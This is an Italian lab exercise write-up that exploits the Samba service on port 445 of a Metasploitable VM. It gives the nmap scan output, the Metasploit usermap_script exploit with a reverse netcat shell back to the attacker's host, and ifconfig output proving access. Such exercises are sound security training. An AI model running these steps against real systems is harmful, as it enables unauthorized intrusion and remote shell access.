

MSFCONSOLE

Il secondo esercizio come traccia da svolgere aveva : Sfruttare la vulnerabilità del servizio attivo sulla porta 445 TCP utilizzando MSFConsole ed eseguire ifconfig

Per prima cosa ho verificato l'effettiva presenza della porta aperta con il comando

nmap -sV , che ha riportato di dati seguenti :

```
File Actions Edit View Help
Nmap scan report for 192.168.13.150
Host is up (0.0036s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE
: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.43 seconds
```

da qui ho verificato l'effettiva presenza della porta 445 aperta , notando che come servizio ha Samba , e stando ai vecchi report era una vulnerabilità di livello alto.

Per sfruttare la vulnerabilità ho usufruito del framework metasploit .

Lo si avvia con il comando **msfconsole**

successivamente , cerco gli exploit disponibili per samba con il comando : **search samba**

```
(kali@kali)-[~]
$ msfconsole

3Kom SuperHack II Logon

User Name: [ security ]
Password: [          ]

[ OK ]

https://metasploit.com

+ -- ==[ metasploit v6.3.31-dev ]
+ -- ==[ 2346 exploits - 1220 auxiliary - 413 post ]
+ -- ==[ 1390 payloads - 46 encoders - 11 nops ]
+ -- ==[ 9 evasion ]

Metasploit tip: Use the resource command to run
commands from a file
Metasploit Documentation: https://docs.metasploit.com/

msf6 > search samba

Matching Modules

# Name Disclosure Date Rank Check Description
```

Una volta usciti fuori tutti gli exploit ho selezionato quello che più si addiceva al mio bisogno e l'ho configurato per poi dare il comando **exploit** per avviare l'attacco (vedi in figura sottostante)

```
[*] Using configured payload cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

Name      Current Setting  Required  Description
-----
RHOSTS    yes             The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     139             yes       The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

Name      Current Setting  Required  Description
-----
LHOST     192.168.13.100  yes       The listen address (an interface may be specified)
LPORT     4444            yes       The listen port

Exploit target:

Id  Name
--  --
0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(multi/samba/usermap_script) > set RHOST 192.168.13.150
RHOST => 192.168.13.150
msf6 exploit(multi/samba/usermap_script) > exploit

[*] Started reverse TCP handler on 192.168.13.100:4444
```

Dopo che ha completa l'Exploit, ho dato il comando **ifconfig** come da richiesta per assicurarmi di essere dentro la macchina

```
[*] Started reverse TCP handler on 192.168.13.100:4444
[*] Command shell session 1 opened (192.168.13.100:4444 → 192.168.13.150:47054) at 2023-09-24
13:07:41 -0400

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:38:80:08
          inet addr:192.168.13.150  Bcast:192.168.13.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe38:8008/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1975 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1695 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:176594 (172.4 KB)  TX bytes:265451 (259.2 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:467 errors:0 dropped:0 overruns:0 frame:0
          TX packets:467 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:189931 (185.4 KB)  TX bytes:189931 (185.4 KB)
```